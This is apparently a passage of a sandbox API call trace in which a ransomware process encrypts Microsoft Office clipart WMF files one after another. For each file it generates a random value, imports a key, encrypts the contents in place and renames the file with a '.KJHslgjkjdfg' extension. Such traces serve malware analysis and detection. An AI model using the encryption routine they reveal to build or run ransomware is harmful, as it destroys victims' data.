dwReserved1=0x2e0000, cFileName="NA01149_.WMF", cAlternateFileName="")) returned 1 [0215.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.869] GetProcessHeap () returned 0x2ef0000 [0215.869] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.869] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.869] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.869] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.871] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.871] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.871] GetProcessHeap () returned 0x2ef0000 [0215.872] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.872] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.872] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.872] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.872] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.872] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.872] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.872] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.872] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.872] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.872] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1248, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1248, lpOverlapped=0x0) returned 1 [0215.873] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1250, dwBufLen=0x1250 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1250) returned 1 [0215.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.873] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1250, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1250, lpOverlapped=0x0) returned 1 [0215.874] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.874] SetEndOfFile (hFile=0x130) returned 1 [0215.876] GetProcessHeap () returned 0x2ef0000 [0215.876] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.876] GetProcessHeap () returned 0x2ef0000 [0215.876] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf.kjhslgjkjdfg")) returned 1 [0215.878] CloseHandle (hObject=0x130) returned 1 [0215.878] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7738900, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7738900, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x2230, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01152_.WMF", cAlternateFileName="")) returned 1 [0215.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.879] GetProcessHeap () returned 0x2ef0000 [0215.879] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.879] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.879] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.879] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.879] GetProcessHeap () returned 0x2ef0000 [0215.879] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.880] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.880] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.880] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.882] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.882] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.882] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.882] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.883] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.883] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.883] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.883] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.883] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2230, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2230, lpOverlapped=0x0) returned 1 [0215.884] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2230, dwBufLen=0x2230 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2230) returned 1 [0215.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.884] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2230, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2230, lpOverlapped=0x0) returned 1 [0215.884] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.884] SetEndOfFile (hFile=0x130) returned 1 [0215.887] GetProcessHeap () returned 0x2ef0000 [0215.887] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.887] GetProcessHeap () returned 0x2ef0000 [0215.887] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.887] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf.kjhslgjkjdfg")) returned 1 [0215.889] CloseHandle (hObject=0x130) returned 1 [0215.889] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6425c00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6425c00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01154_.WMF", cAlternateFileName="")) returned 1 [0215.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.890] GetProcessHeap () returned 0x2ef0000 [0215.890] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.890] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.890] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.890] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.890] GetProcessHeap () returned 0x2ef0000 [0215.890] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.890] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.890] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.890] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.893] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.893] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.893] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.893] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.893] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.893] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.893] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x15b0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x15b0, lpOverlapped=0x0) returned 1 [0215.894] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15b0, dwBufLen=0x15b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15b0) returned 1 [0215.894] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.895] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x15b0, lpOverlapped=0x0) returned 1 [0215.895] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.895] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.895] SetEndOfFile (hFile=0x130) returned 1 [0215.897] GetProcessHeap () returned 0x2ef0000 [0215.897] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.898] GetProcessHeap () returned 0x2ef0000 [0215.898] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.898] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf.kjhslgjkjdfg")) returned 1 [0215.899] CloseHandle (hObject=0x130) returned 1 [0215.899] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1858, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01157_.WMF", cAlternateFileName="")) returned 1 [0215.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.900] GetProcessHeap () returned 0x2ef0000 [0215.900] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.901] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.901] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.903] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.903] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.903] GetProcessHeap () returned 0x2ef0000 [0215.903] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.903] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.903] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.903] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.904] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.904] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.904] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.904] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.904] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.904] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.904] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.904] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.904] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1858, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1858, lpOverlapped=0x0) returned 1 [0215.905] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1860, dwBufLen=0x1860 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1860) returned 1 [0215.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.905] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1860, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1860, lpOverlapped=0x0) returned 1 [0215.905] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.906] SetEndOfFile (hFile=0x130) returned 1 [0215.908] GetProcessHeap () returned 0x2ef0000 [0215.908] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.908] GetProcessHeap () returned 0x2ef0000 [0215.908] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.908] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf.kjhslgjkjdfg")) returned 1 [0215.910] CloseHandle (hObject=0x130) returned 1 [0215.910] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf04c7b00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf04c7b00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1c74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01158_.WMF", cAlternateFileName="")) returned 1 [0215.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.912] GetProcessHeap () returned 0x2ef0000 [0215.913] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.913] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.913] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.914] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0215.916] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.916] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.916] GetProcessHeap () returned 0x2ef0000 [0215.916] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, 